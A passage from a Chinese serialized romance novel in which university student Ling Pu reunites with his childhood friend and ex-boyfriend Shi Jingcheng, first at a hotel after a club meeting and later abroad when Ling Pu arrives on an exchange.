等了一会儿,身影进来。 特别帅,身高腿长比例优越,整个屋里似乎蓬荜生辉。 还有点眼熟。 肯定不会认错,帅成这样的没第二人了—— 时璟承。 凌蒲的舌头打了结,怀疑是太困产生的幻觉,或者是什么学习猝死的回光返照。本该隔着大西洋还是太平洋的时璟承忽然出现在眼前,震惊得有点莫名其妙。 时璟承也没说话,但凌蒲能从微表情里看出他也挺意外。 凌蒲的思绪乱飘,想着还好早上心血来潮地吹了个头,选了件酷酷的黑色t恤穿上,没白早起那两分钟。 他停顿时间有点久,社团同学露出担忧的表情,副主席严苛地皱起眉头,还有角落里不知若有所思什么的杜姓富二代,从台上的角度望下去,和那种清明上河图里人物群像似的。 还是主席能扛大事,镇定道:“不好意思,这位是我们大一的小学弟,了解得浅一点,要不让外联部部长介绍吧。” 好好好,用人的时候社团必不可少一员,不用人的时候大一小学弟。 “没事,就他继续吧。”时璟承说。 “还是部长讲吧。”凌蒲说,他这个大一小学弟也是有点脾气的。 摩拳擦掌的部长顶上。 凌蒲到教室后面坐着,盯着第一排时璟承乌黑的后脑勺发呆。 这就是杜姓富二代说的那位专程为了暗恋的女生来的?可恶的时璟承。 不过凌蒲又试图劝说自己想象现在只是时璟承的好朋友,那种从小时候就陪在少爷时璟承身边随叫随到的温暖粽粽。 没有中间一连串阴差阳错的误会。 那他应该充满真诚的祝福,聆听时璟承的心事,并彻夜长谈与之开解,什么的。 凌蒲觉得有点闷,等外联部长差不多介绍完了,他起身走出去透透气。 蓝天白云,又是夏秋交界。 一只不知名的小鸟忙忙碌碌,好像在修补鸟巢。 “凌蒲。” 凌蒲没敢回头,闭了闭眼睛:“时璟承。” 直到对方脚步停在他身边,凌蒲还望着小鸟衔树枝。和往常一样心不在焉,时璟承和他说话的时候总在看别的地方,没有百分之一百的注意力。 现在并不是社团活动时间,走廊空无一人,时璟承上手用两指指腹按着凌蒲的脸颊,转过来。 照理说两人有一段时间没见,行为有些无礼,但他们都没这么觉得,凌蒲慢慢回过眼神,漂亮的瞳仁依然如阳光下的湖泊,眼波潋滟。 前面碎发剪短了点,露出完整的眉目,和高中时候不一样。 凌蒲本能地笑了下,唇红齿白。 朋友朋友朋友,他在心里想,要和时璟承做朋友。 目光扫到时璟承垂下的眼睛,高挺的鼻梁,还有弧度向下的薄唇,凌蒲还是有点想伸手摸一下,或者亲一下。 他移开目光,又被时璟承扳回去。 不知道是不是错觉,他总觉得时璟承那道冰凉的目光落在自己唇上,有点烫,他抿了下嘴唇,用舌头碰碰,降个温,果然风吹得有点凉,可能留下了水渍。 忽然意识到和对方距离这么近的时候必然被尽收眼底,于是又细致地抿掉,站直。 时璟承本来就乌黑的眼睛更深了几分,他不仅把这些小动作看得清楚,还隐约能看到凌蒲一点洁白的虎牙若隐若现。 身上还是熟悉的淡香,混合着皂荚和牛奶沐浴露,再加上属于凌蒲的清甜干净。 一直对时璟承有着吸引力。 “被看到不好。”凌蒲提醒他,推开。 “正常社交距离。看到什么?你和我一靠近,地球会爆炸?” 时璟承站直,把手放进口袋,语调还是没太多感情,不过音色似乎成熟了些。 “不是。我心虚。” 凌蒲习惯性哄了句,意识到语气不合适,清了清嗓子。 大脑已经停止思考,凭着本能试图体面:“这么巧,时璟承,挺久没见你的了,还好吧。” “不好。” “噢噢那就好。听你朋友说你来追人的?” 时璟承愣了愣,口袋里的手微微收紧,看着凌蒲的眼睛:“嗯。” “追社团学姐是吧,谁啊,我帮你推联系方式。” 时璟承的手放松下来,同时极其熟悉的,那种只有面对凌蒲时才有的,在无语与无奈之间夹杂的复杂情感。 他冷冷说了句:“Idiot.” “怎么又说英文。” 凌蒲能听懂:“士别三日,我不是小时候那个文盲了,就知道你以前用英文偷偷骂我呢。” “没骂你。” 忽然后门响了一声,杜翊谦问时璟承:“欸——Zev,你觉得怎样?我一个人拍不了板啊。” 他故意探出来,分明司马昭之心,却人模人样地朝凌蒲礼貌点头。 “随你。”时璟承说。 杜翊谦耸耸肩:“我可不敢做主,还是看看你和凌蒲同学商讨有没有结果吧。” 准备回去前,凌蒲叫他等一下:“请问Idiot在你们平常语境里有别的意思吗?” “Idiot?”杜翊谦脱口而出,“还有什么意思?傻|逼呗。” 他关上后门。 凌蒲看着时璟承:“骂这么脏?” 时璟承先轻笑了声,凌蒲也就笑了, 窗外阳光笼在两人身上,变成一道淡金色的薄纱,薄得一戳就散,只要有人能伸出手。 “先进去吧。”凌蒲说,“晚上请你吃个饭。如果有空的话。等你事情忙完。” 时璟承的笑容完全收敛:“我没事情要忙。所有朋友或者陌生人来了你都这样招待?” “呃。” 凌蒲思索,不算朋友也不要划到陌生人,上回说前男友也沉默不承认,那时璟承要算什么,还是那么难伺候。 他就想到了介于男朋友和陌生人之间那个不清不楚的关系。 抬起认真思考后的眼睛:“那去哪招待,酒店?” 第128章 用最纯真的眼神,说最纯真的话。 时璟承并不满意凌蒲对那段关系的轻佻,让他当时的投入成为一场笑话。就像小时候那段可怜的友情,总是被耍得团团转。 刚刚被杜翊谦很是调侃了一番,说没想到在别的方面时璟承都挺优秀,唯独这事儿上胆小又怯懦。往常不管他说什么,时璟承都不理他,耳机一戴,眼睛一闭。 只有刚才不一样。 在一个人身上栽了两次,时璟承难以形容这样的心情。 小时候是很简单的恼火,顾乾对他有求必应,他需求也不多,所以向来要什么有什么,专属他一个。只有粽粽不一样,给他从未有过的友情之后又抽身溜走。 第二次又如法炮制。 “嗯。” “凌蒲,你是不是每次都觉得我不会把你怎么样?”时璟承目光抬起一点,看着凌蒲的睫毛。 直到晚上被时璟承带到酒店大堂,凌蒲发现时璟承确实有给他这种安全感。 不管什么关系里,看似霸道,但都很尊重他的意愿。 甚至是过于尊重了。 金色的电梯门缓缓合上,凌蒲背着小书包,和时璟承待在电梯里。 时璟承从口袋里拿出卡,抬头,递给几乎贴着按键站的凌蒲。 凌蒲恭敬地双手接过,“滴”一声。 “真来酒店啊,我以为去吃饭。” “那你跟着我走。”时璟承显得有些疲倦,“不怕被卖了?” “我以为饭店在里面。”凌蒲笃定,“你不会的。” 虽然这点不值得担心,但他的手指还是无意识地抠着书包带子,上面还是原来那个狮子挂件,和高中一样。 时璟承没再说话,电梯一直在上升,淡金色的侧壁反射他们的身影,空间不算小,空气中是让人舒适的清浅桂花香,也没什么嘈杂的广告。 “这酒店环境不错,电梯里氛围灯光挺漂亮。”凌蒲又说。 时璟承抵着扶手,漫不经心:“房间里也是。” 凌蒲一惊。酒店房间怎么会有漂亮的灯光,莫非有什么深意。 不知道是他想多了还是时璟承变了,这话不那么正人君子。 眼神随着心理想法变来变去,偷偷从侧后方瞄着时璟承,眉头时而皱起,时而展开,纠结得和在制定暗鲨计划似的。 “反光。”时璟承看着前方提醒,下巴点了下。 凌蒲心虚地瞄了眼,反倒和时璟承的眼神撞在一起,时璟承在看门上的映射。他匆匆低头。 “叮”一声。 终于到达楼层,门缓缓打开。 走廊铺着厚厚的地毯,踩上去几乎没什么声音,每个房间门相隔挺远,看起来里面的空间应该很大。 不明不暗的灯光比电梯更甚,一片静谧中,凌蒲东张西望,仿佛能听到自己的心跳声。胡思乱想着,前面时璟承忽然停步,凌蒲毫无防备地撞上去。 撞得结结实实,不知是衣服上什么扣子硌在脸侧,那一小块火辣辣地疼。 时璟承叹口气,转身扶他一把:“凌蒲。到了。” 凌蒲很狼狈地站直:“到了怎么不开门啊。” “房卡在你那。” 凌蒲随着时璟承一起低头,看到自己手里攥着的房卡,方才在电梯里就握着,一路也没什么感觉。 “哦。”凌蒲侧过脸。 时璟承拧着眉,朦朦胧胧的灯光只能看清凌蒲脸上有个红印,在白皙皮肤上挺明显。 他想再仔细看看,但刚抬手,凌蒲就低头刷房卡,溜进去。 手在空中停了停,没有触碰到想象中的物体,他轻轻捻一下手指。 凌蒲进去,摸索着插上房卡。随着灯亮起来,即使有心理准备,屋里的一切还是打破了凌蒲对传统酒店的认知。 他假装淡定,目光不由自主地被巨大落地窗吸引,外面灯火闪烁,里面一把看上去柔软宽大的椅子,简直就差一个摇着红酒杯的总裁了,和电视剧里一模一样。 整体装修风格更是大开眼界,让人想不到寸土寸金的地方会有这么多被奢侈浪费的空间。 高级浅淡的香流转在空气中,像时璟承的气息。 连方才撞的地方都忘了疼,凌蒲背着书包偷偷震惊。 “你一个人住吗?还是和杜翊谦一起?” “你记名字记得真快。我没有和别人一起住的习惯,先吃饭吧。” 时璟承脱掉薄外套挂在门口衣架上,用指腹蹭了蹭肩膀处的金属装饰物。 他发消息订餐,很快服务生便推着小推车过来,丰富的佳肴眼花缭乱,还配了酒,空荡的餐桌被摆满,让人垂涎欲滴。 饥肠辘辘的凌蒲矜持地咽下口水:“这么客气,说好我请你的。” 时璟承把餐具递给他:“不吃撤了?” 正醒酒的服务生一惊,动作停下。 “明天我请你。”凌蒲习惯时璟承的说话方式,自己给自己铺台阶。 等服务生走了,房间重新陷入安静。赠送的氛围小蜡烛燃烧着,火苗在玻璃罩里不合时宜地摇曳,仿佛在夺取空气。 凌蒲虽然投入美食,但能感到对面的时璟承在看他,仿佛动物园里看小动物进食似的。 被观看的小动物不太自在。 “你不喜欢吃吗?” 凌蒲看到时璟承竟然在喝杯子里的红酒,深红的酒液在剔透的高脚杯流转,什么菜都没动。他印象里时璟承并不喜欢喝酒。 他偷偷观察。 现在时璟承单穿一件t恤,显出比以前成熟不少,除了更沉稳的气场之外,似乎没高中那么冰冷。虽然话还是少,但玩世不恭的气质偶尔露一点,可能是在国外需要和人打交道的地方多了。 时璟承没回答凌蒲,垂下眼,仰头把杯子里的酒干了,倒了杯新的。 高挺的鼻梁下是偏薄的唇,连接下巴,延伸到下颌和脖颈,完美的线条把凌蒲迷得不行,每次都觉得像一幅很漂亮的画。 秀色可餐,把凌蒲对美食的注意力都引了过去。 “你今天似乎心情不好。”他吃了口小番茄,“因为什么?” 还是一脸无知的摸样,永远置身事外,清白无辜。 时璟承瞥他:“你。” “我?” 凌蒲吃惊地放下叉子,但发现时璟承似乎并没有深聊的意思,只是继续喝着杯子里的酒。 不是梦里那种漫不经心摇晃红酒杯的摸样,而是仓促地一杯一杯喝,仿佛借酒消愁,心情实在不好。 “因为不小心遇到我了吗?打扰你追别人了?”凌蒲觉得有被伤到,语气激烈了些。 “凌蒲,你别再说这种话。”时璟承继续添加葡萄酒,动作优雅娴熟。 他看起来依旧很冷静,没有丝毫被酒精影响的摸样,但凌蒲从他细微波动的情绪感受出来,应该有些醉了。 正确的方式是不朝枪口上撞,但凌蒲没有忍住:“时璟承。我今天没惹你,本来在图书馆好好地学习,就因为你们莫名其妙地目的就被拉过去浪费一整天。” 单词都没背完,听力只做到一半。 “我也是好好地在那里,谁来惹的我?” 时璟承直视凌蒲的眼睛,打断道。 凌蒲愣了下。 “我没打算交朋友,你非要和我当朋友。我没打算谈恋爱,你非要勾引我和我不清不楚,还早就计划好先把我甩了。甚至拒绝对我们的关系下定义。” 新仇旧恨,酒杯磕在桌面上,“砰”一声,很清脆。 “凌蒲。你能不能看看你的行为,到底是谁在莫名其妙?” 凌蒲一动不动,可能是没想到一句简单的牢骚引发了时璟承这么大的反应,可能是被响声给吓住,还可能是看到了时璟承发红的眼睛。 距离近,他看得很清楚。 不是因为醉酒而缱绻的眼尾,也不是怒气而充血的红血丝,而是眼眶在发红。 这可是时璟承,即使是三岁的时候凌蒲都没见他哭过。 凌蒲眼睛睁得圆圆的,之前气焰逐渐偃旗息鼓,就这么看着时璟承。 年份久远而醇香的葡萄酒香在空气间氤氲,烛光在摇曳,酒精在侵蚀理智。 “你知不知道我飞了多少次?就为见你一面。” “…见我?” “不然呢?我闲得无聊坐十几个小时飞机,在上面玩?”时璟承发出声嗤笑,“问你在哪都不说,到了你又走,你耍我耍得还不够,再相信你第三次我就是狗。” 凌蒲尽可能地苍白辩解:“我不知道我没想到你会回来。我以为你很忙。” “当然忙。从早到晚补材料和项目,还要去应付见都没见过几面的那些人,所有亲戚都知道我是来抢家产的,每周去时岳韬病床前面扮演孝子贤孙,抽一次时间有多不容易。” “我在国外很累,每天一直连轴转,从来没人过问我的想法。 你…”时璟承话语一顿。 因为他眼睁睁看到豆大的泪珠顺着带红印的脸颊滚落。 时璟承以为凌蒲被他语气吓到,便移开目光,稳定了情绪,破罐破摔般叹口气:“我没想出别的办法。” “本来没打算打扰你,杜翊谦没和我说算了,你吃完就走吧。最近事情太多了,对不起。” 他把杯子里最后的酒喝完,回了房间。 凌蒲继续坐在餐桌前,犹豫一会儿,吸吸鼻子,也进了时璟承的房间。 看到时璟承躺在床上,听到动静后翻身背对他。 凌蒲坐在床边,低头抠抠被子:“时璟承,你见我是想我还是恨我。” 时璟承不理他。 “我把你在国外想象得很快乐,对不起。”凌蒲独自絮叨,“那个关系,我是怕自作多情,上次说是前男友然后你没理我。我心里当然是当作正式关系的,我又没有谈过其他恋爱。” 凌蒲伸手,戳了戳时璟承。 第129章 时璟承还是没理他。 屋里暂时安静下来,过了会儿,忽然窸窸窣窣一阵。 凌蒲也躺在时璟承旁边。 夏天穿的衣服更单薄,和他们以前在冬天的靠近不一样,似乎此刻能感受到彼此的体温。 屋里空调恒温,但蝉鸣的燥热和潮湿的空气是种感觉,让人心神不宁。 不过和他们曾经穿着睡衣在被子里亲密的拥抱也不一样,所谓的体温时有时无,没那么真切。 凌蒲侧过脸,看着时璟承后脑勺乌黑的头发,自然地抚了抚后面翘起的一撮。 完全是出于本能反应,放下手才觉得似乎越界,观察一会儿,确定时璟承没反应,才放心: “别生气了。” 凌蒲从小时候就跟着凌逸飞哄钱芷,比较熟练。 “我以为你不在意,你看你这么优秀,这么帅气,想要什么没有。” “而且你还特别厉害,一个人完成了那么多事情,换别人肯定不行。要是我自己去那么远的地方都吓死了,想都不敢想,英语就够难了。” “” 时璟承耳边传来凌蒲熟悉的,令人莫名安心的嘟囔声,能感受到清浅的呼吸撩拨着耳边的肌肤。 “小时候不是故意骗你,长大也不是。你太有魅力,不管你是什么出发点,我当时是真喜欢你的,但是又怕你打算报复我,就有点害怕。最后最后就是正常地分开了嘛。” “都过去了,别再放心上。人生需要向前看,刚刚听说你在国外有点累有点孤独,我很难过,以后我当你的朋友可以吗?不管有什么事都可以和我分享,电话随时可以打。” 正叽叽喳喳着,时璟承忽然打断:“凌蒲。” 他半撑在上方,垂眸看他。 压迫感很强,凌蒲整个人仿佛都被笼罩,张着嘴停住。 “过去了?” 时璟承伸手从凌蒲的领口勾出条红绳,动作慢条斯理,带出的小小玉坠在凌蒲心口砸了下,“那为什么还戴着我的玉?” 凌蒲愣了愣,有点慌张地看着居高临下的时璟承,解释:“就戴习惯了。” 红绳在时璟承手里,被逐渐用力地攥着,但没有收紧,只是硌着凌蒲的肌肤,迫使他抬起下巴,一双澄澈的眼睛映出灯光,显得很无辜。 “你总是这样。一会儿给人希望,一会儿抽身就走。”时璟承看着他的眼睛,“这样特别坏。” 语气和口吻明显带着含糊的醉意,不像平常那么冷。 红酒就是这样的特点,甜而漂亮,柔和绵软,在喝的时候觉得毫无威胁,但慢慢地,酒劲会无声无息地攀上来,等头晕目眩时已经来不及。 凌蒲的眼里有些疑惑,手指在时璟承衣服上安抚地摸了摸:“时璟承,你告诉我,你一直在纠结什么好不好?” 比如说到底是想他还是恨他。 时璟承的唇抿成一条直线,不予回答。 “是因为聊天记录吗,你觉得我想先甩掉你让你没有面子?” “不是。”时璟承嗤道,“我知道你是故意的。漏洞百出。以后别和我耍心眼。” “” 凌蒲一时语塞,没反应过来:“你知道?” “嗯。” “怎么知道的?” 凌蒲的眼睛睁得圆了些,想坐起来,但绳子一端还握在时璟承手里,把他勒了下,又慌慌忙忙地让时璟承先松手。 时璟承松了手,看着凌蒲的样子,冷笑:“看起来笨笨的,骗我那么多回。” “勒你看看。”凌蒲反驳一小句,又回到正经话题上,“你都知道,那你在记恨什么?” 时璟承又不说话。 下颌收紧,眼睛却带着审判意味,希望别人能读心,和电视综艺里的冷酷儿童Zev一模一样。 凌蒲笑了下,耐心道:“是不是觉得即使是故意的也不对?” “嗯。” “那样让你很没有面子,应该找个办法让你甩掉我吗?” 时璟承不说话。 “我也想要面子嘛,你都甩了那么多人,偶尔让别人甩一回,记忆会更深刻点。”凌蒲说,“看来我成功了?” “没有。” “璟承,我没有抱着戏弄你的心态。你要是因为这个的话可以报复我,你是个很好的人,那段里就开始有点误会,后来不是,所以你忘了吧。”凌蒲认真。 时璟承重新躺下翻过身,只留一个后脑勺:“凌蒲我就烦你这种态度。小时候也是,那么多朋友共享你,正常友情该这样,我该成为其中一个。正常的关系都该好聚好散,是我在无理取闹。 但我根本没想要交朋友和谈恋爱,是你硬要这么做的,我不需要你站在道德制高点来谅解我,显得有多宽容。” “你走吧。明天我也要走,再被你骗第三次我就是狗。” 凌蒲和时璟承离得特别近,能感受到任何一点细微波动。虽然还是没有尽然听明白,但忽然发现这种情绪有点熟悉。 该怎么来形容—— 似乎像是他不能接受钱芷的猫最喜欢的不是他,对除了钱芷之外的包括他都很冷漠。也不能接受外婆家自己从小喂到大的小狗对谁都一样热情。 和时璟承现在很像,和综艺里Zev莫名的生气也很像。 凌蒲想了想,试探地问:“你觉得我对你和所有人都一样,所以你不高兴吗?” 没回应。 “Zev应该最特殊的好朋友是吗?” 还是没回应。 凌蒲想了很多,从一帧一帧综艺画面开始,不知想了多久,久到时璟承似乎已经睡着了。 他偷偷抬头观察,发现时璟承眉心还微拧着,很生气的样子。想起来今天白天那副四平八稳的强大气场,凌蒲笑了笑。 空气里流动着葡萄酒的酒香,很浅。耳边很安静,只有均匀的呼吸声。 套房卧室很宽敞,但灯光还是像普通房间一样昏暗,反而让人觉得空荡得有点孤单。 凌蒲的笑容逐渐敛去,他坐起来,静静地看着时璟承。 视线一寸一寸描摹,比较和高中有没有变化。还想到了时璟承一个人到国外,面对那么多他无法想象的情况,都得很辛苦地解决,坐十几个小时飞机的时候在想什么。 综艺里程益添看了都为其打抱不平的Zev,游离在人群之外,把什么心情想法都藏在心里,等着别人来读,但是粽粽总在和别人玩。 那些更热情的,本来就很容易交朋友的小朋友。 再回神时,已经不知过去了多久。 凌蒲伸手碰了碰时璟承的头发,视线不经意落下,忽然停顿。 月光偏转,他看到时璟承腕上的手表下有什么东西闪了下,似乎是金色的,和时璟承周身的气质不符,像是不该出现的物品。 于是用偷偷挑起表带,他看到了一个小小的,粽子形状的金饰。 已经有些许磨损,偏新的黑色编织绳挺陌生,但实心黄金真材实料,粽子上雕刻的纹路和细节大致都在。 凌蒲听钱芷和凌逸飞提过很多次,自己的第一笔积蓄花在了哪里。看来首个牺牲的小金猪并非毫无意义。衬在时璟承漂亮的腕骨上,藏在昂贵的手表下。 他怕动静会影响到时璟承,于是下了床,在房间的沙发上抱臂坐着,直到窗帘隐约映出熹微的晨光。 时间过这么快。 抬眼才发现窗帘还处于只拉上隐私层的初始状态,薄而柔软的白纱丝毫不阻挡阳光跃进来,时璟承的眉头动了动。 凌蒲起身,拉上外层厚重的遮光窗帘,走出房间,从口袋里摸出耳机戴上,把没有完成的单词和听力任务做完。 第130章 今年的冬天是属于雪的季节,一场接着一场下。 凌逸飞的车在雪中开到机场,车身堆了层厚厚的雪,侧边玻璃的薄冰随着发动而缓缓融化。 凌蒲坐在后座,被钱芷督促着戴上了口罩和帽子,只露出双眼睛。 “宝贝,在外面照顾好自己。”钱芷叮嘱,“注意天气变化,及时加衣服减衣服,生病了就马上去医院,还有吃饭要规律” 虽然凌蒲已经上大学,但在她眼里永远都是个小孩儿。 “没事儿。”凌逸飞在前面说,“去锻炼锻炼是个好机会,别总在家宅着,都成妈宝了。” 凌蒲皱眉:“我才不是。爸你又乱用词。” “没乱用。原来你妈妈最喜欢的人可是我,你出现之后一直黏着她,看在你小的份儿上让让你。现在终于上大学了该把人还给我了,正好一会儿送你上了飞机,我和她就收拾收拾去三亚那边过年,常联系。” 凌蒲反击似的提醒:“我妈最喜欢的人还可能是顾乾。” 还是亲儿子最知道戳哪里是软肋,一句话打破了凌逸飞的潇洒畅想。 “给顾乾当儿子去吧。”凌逸飞黑脸。 但等把所有行李拿下来,又塞了张卡给他:“好好学习,好好体验,钱不够了和我们说。” 凌蒲吃惊:“不是在办签证的时候已经转给我一笔了吗。” “那是必要开销,这是小零花,虽然没人家顾乾有钱,但这么些年也攒了点。”凌逸飞叮嘱,“该省省该花花,趁年轻多去转一下,别光花在吃上。我们不送你进去了,免除煽情环节。” “好。不到必要情况不用。”凌蒲立flag,“放心吧!” 凌逸飞关上后备箱,问凌蒲:“我帅还是顾乾帅?” 凌蒲笑嘻嘻:“我爸最帅了。” * 进了机场大厅,凌蒲拍了拍头上和衣服上的积雪,按照指引走向安检。 拿到交换名额比他想的容易些,指标并不是分散在全校,而是每个学院每个年级固定。大三的竞争最激烈,大一没几个人报名,还大都是想随缘出去玩玩的,因此凌蒲优秀得很突出,甚至还有选择的空间。 凌蒲直接选到了时璟承的学校。在一步步通过的时候,他完全没有反应过来。后知后觉地发现,似乎真的靠努力离时璟承更近了些。 他一直都没告诉时璟承。一是上次酒后,要面子的时璟承躲了挺久,在他面前比之前还装。 二是凌蒲并不想显得他是专程为了时璟承而去,意图创造一个巧合,重新成为朋友,顺理成章地弥补小时候友情的亏欠。 其他师生约定的是开学去,但凌蒲在签证一下来就准备提前出发。 他坐在候机大厅,不知道第多少次又看了一遍实景地图,皱皱眉,从书包里摸出一个名片。 当时杜翊谦递给他的,他打过去,默默等待。 按说名片上的电话都是预约用的,凌蒲等待甜美接线员接通,没想到却传来个挺拽的声音。 “喂。谁啊。” 凌蒲疑惑:“你是谁?” “不是吧,你给我打电话问我是谁?玩呢,谁这么无聊,没事挂了。” “杜翊谦?”凌蒲试探。 于是那边顿了顿,仿佛武侠电影里那种被叫了名号的游历者,换上副和方才截然相反的,彬彬有礼的声音道:“请问哪位?” “我是凌蒲。” “凌蒲?!”杜翊谦对这名字敏感度极高,“怎么了,凌蒲?” “和你说个事情,可以帮我保密吗?” “客气了嫂子。“杜翊谦顺嘴。 “什么啊,我们不是你想的那种关系,是很好的朋友。” “…这话别被时璟承听到,他得找个地方偷偷哭。” 杜翊谦那边似乎挺忙,有人正叫他名字,于是凌蒲长话短说。 “怎么,准备寒假来玩?我最近在东亚这边,等两天,回去开直升机去接你。” 杜翊谦打趣一句,又在那边应了声,匆匆挂断电话。 凌蒲看着发过来的详细地址以及时璟承当地的电话联系方式,雀跃的心情冷静一些,多出些茫然的实感来。 他现在要去另一个地方与时璟承相遇。 比这里晚了十几个小时,跨越一片茫茫的太平洋。但凌蒲似乎又并不觉得陌生,实况地图看了那么久,仿佛对于那片街区已经熟悉于心,只要把他放进去,连拐哪个弯都一清二楚。 随着飞机拔地而起,凌蒲安静地看着舷窗之外,正离熟悉的一切越来越遥远。变小,变远,漂浮的白云,直到云层之上。 落日流光溢彩,鹅黄和淡紫美得惊叹,云团又逐渐吞噬光线,变成墨黑,机翼偶尔闪烁着孤独的小红点。 凌蒲昏昏沉沉,却没有睡。 原来十二个小时这么久,三万英尺这么高。 他落地,随着人群向前走,耳畔逐渐变成了陌生的语言环境,消毒水味让本就复杂的机场通道变得更宽阔,人群川流不息,循着不同的指示牌转弯,他不免感到惶恐。 当时时璟承也是这样吗,一个人出国。 边境保护大厅和查验区难免发生对话,没有字幕,没有人放慢语速,只有和课本上截然不同的语速和停顿。 雅思和托福出分时的喜悦已然烟消云散,凌蒲盯着每个人的口型,临时抱佛脚地练习,拙劣地回答。 尴尬和混乱后,总算到了室外,他深吸一口气。 挺温和的天气,没一会儿就感到炎热。 凌蒲上了大学才知道,当初报志愿的时候时璟承在骗他,这个区根本就不下雪,甚至一年四季阳光极佳。 后知后觉地想起来身上的羽绒服没有脱,他手里拖着大包小包,似乎已经失去了换衣服的机会,只能匆匆把羽绒服脱下来拿到手里,里面还是厚厚的毛衣。 来不及欣赏太多美景,先找个隐蔽的地方换了手机卡,但不知漫游出了什么问题,怎么都连不上网。 网上的攻略都随着渐渐开始下落的太阳烟消云散,时间一分一秒地流逝,离天黑没剩多久。 凌蒲希望在未知的黑夜来临之前抵达,他从书包里拿出兑换好的现金,前往巴士站。 并不是所有巴士都接受现金,经过司机不耐烦的指点,凌蒲被丢到一辆“for free”的车上,莫名到后排坐了一站,弄清目的地的时间还没有行驶的速度快。 几个流浪汉摸样的人朝他周围一坐,大声谈论些什么。 其中一个频频瞄向凌蒲和他手里的行李,带着打量的意味。 车门即将关闭时,凌蒲匆匆跑下车。 站在陌生街头狼狈不堪,凌蒲拿出手机,犹豫着拨出号码。 “hello”电话那头传来没什么语气的单词。 一阵微风拂过凌蒲,从衣角和领口钻进去,消减了黏腻和燥热。 “时璟承,我迷路了。” “?” 一阵漫长的沉默。 “凌蒲?” 或许是察觉到凌蒲的情绪,时璟承没问别的,只放轻声音:“在哪里迷路了?别担心,我让陈叔去找你。” 凌蒲还是没说话。 “告诉我一个标志物,最近的就好。”时璟承冷静道。 凌蒲读出面前的英文路标。 轮到时璟承愣住:“嗯?” 或许是把手机拿远,确认了一下区号, 凌蒲含含糊糊:“我来找你时璟承,但是我找不到路了。” “等着。” 时璟承一边起身一边和凌蒲确认了周围位置,让他在公交车站里等。 凌蒲挂掉电话,默默坐下,懊恼又有点沮丧。 低着头瞅了半天鞋面,感觉没过多久,一辆车停在他不远处。 傍晚的霞光已经接近尾声,宽阔的街道一望无际,植被轻轻摇曳。 车窗缓慢降下,凌蒲和时璟承对视。 凌蒲知道现在自己肯定看上去很糟糕,他感到额前的碎发似乎都被汗水濡湿,衣服被背包拉扯得歪歪斜斜,手上被行李勒出痕迹。 还有像只鹌鹑一样缩在这里,分明看了很多遍攻略,但还是没有成功,连别人轻而易举能做到的事情都做不好。 他想回家。 时璟承拉开车门,大步来到凌蒲面前,眼里还是不可置信。 凌蒲抠抠衣服,但还没来得及说什么,被时璟承揽到怀里,紧紧抱着。 瞬间,一路上的紧绷和不安仿佛都消失,沉浸在这个异国他乡里时璟承熟悉的拥抱。 时璟承捋着凌蒲有些湿的头发,双手放在他脑后,按住碎发,看着这双如湖水般的眼睛,似乎连睫毛都沁着汗珠,湿漉漉的。 他低头在上面吻了一下,动作自然得像本来就该这样。 蜻蜓点水,触感若有若无,仿佛幻觉,凌蒲抬起眼睛,看着时璟承如常的神色,怀疑起自己来。 “走吧,先上车。”时璟承替凌蒲拉开车门。 “你没成年为什么可以开车?” “规定和国内不一样。” 大包小包的行李也装进去,凌蒲在车上脱掉厚重的毛衣,一边艰难地脱着,一边讲着一路上的忧伤。 靠在座椅上,边说话边低头找了一圈。 时璟承笑了声:“借的车,没有按摩功能。” 凌蒲若无其事地坐直,他没再用编造的偶遇理由,知道那漏洞百出,瞒不过时璟承。 “我就是为你来的时璟承。”于是语气带点抱怨,“你还说我对每个人都一样。我看你才是对每个人都一样吧。” 一脚刹车,时璟承把车停在路边。 “再说一遍。” 最后一抹霞光即将从天边消失,凌蒲看着时璟承,理直气壮地皱眉:“你还凶我?我说你才对每个人都一样。” “上一句。” “你说我对每个人都一样,就上次你到我们学校来的那一次,在酒店说” “再上一句。”时璟承打断。 “我是为你来的,时璟承,” 时璟承握住凌蒲的后颈,在他温度偏高的唇上亲了一下。 凌蒲惊慌失措,推开他,捂住自己的嘴:“来当朋友的。我可不和你乱来,谁知道你是不是单身。” “除了你之外,从来都没有别人,凌蒲。”《 》 130-140 第131章 在一片摇曳的霓虹灯光中,时璟承把凌蒲带了回去。 时璟承住在学生公寓里,很像在家里房间的风格,甚至要更简约些,每样东西都是必需的,不会多也不会少,整体色调单一。 凌蒲在陌生的地方,看着时璟承给他把行李取出来。 他已经把毛衣脱了,里面一件打底T恤,坐在床边不知想什么,只有眼神跟着时璟承活动。 “被子盖上,别感冒。”时璟承蹲在地上,乌黑的发顶朝着凌蒲,在行李箱里整理凌蒲的物品,“等一下给你找睡衣,洗完澡换上再睡觉。” 凌蒲还是恍惚着没动,时璟承起身,拉上被子盖住他,伸手试了下脑门,还有点潮乎乎的。 拿过柔软的毛巾轻轻擦:“今天吓到了?下次别一个人作主,早点和我说。” “网上攻略不准确。”凌蒲配合地仰起头,任由头发在时璟承手里变化。 “大家第一次来的时候都是这样,你的行为很危险” 时璟承没说完,外面忽然响起敲门声,在安静地空间里格外刺耳。 凌蒲一下紧绷起来,脑海中无数相关案件闪过,未知激发想象力,像受惊的小动物试图找洞穴。 “别怕。” 时璟承去应付,把门打开,外面传来低声交谈的声音,是英文,而且好像是熟人。 凌蒲偷偷跑下床瞄了眼,看到个金发碧眼的年轻男生,正双手摊开说着什么。 长得挺帅气,尤其是那头柔顺的金发,即使夜晚都散发着光泽,还有蓝眼睛,漂亮得如同蓝宝石,看时璟承的眼神带着藏不住的钦慕。 而时璟承竟然也在和他说话,看不到表情,只能看到挺拔的背影。 凌蒲回到自己的床上。 不一会儿,时璟承关了门。 回来重新拿起毛巾,凌蒲却不让他擦了。 “怎么?”时璟承擦了个空,问,“你对没早点告诉我这一点有异议?我的意思是你说的太晚,万一我不在就麻烦了。” 本来杜翊谦是要拉着时璟承一起去玩的,但时璟承没去。 凌蒲说:“你也没早告诉我你没有乱搞男女关系。当然,其实我有点不信。” “?”时璟承把凌蒲的头发拨乱。 “我都看到了。”凌蒲告诉他,“好几次。比如高中有女生到班里找你哭,你这么帅,那么多人追你给你写情书,而且…你们这些人不都认为这是很平常的吗?” “前面的情节我不记得,但肯定有误会。你指哪些人?” “你和特儿,等。” 凌蒲朝旁边退了下,要求和时璟承保持距离。 要是时璟承不提这茬还好,现在提了之后,凌蒲会不由自主地乱想。 如果时璟承对他的好和别人一样,实在是让人痛心。比如刚才会打开门,把那位男生请进来,同样温柔地替他擦头发,金色的头发肯定更柔软,还会在灯下闪光。 blingbling。 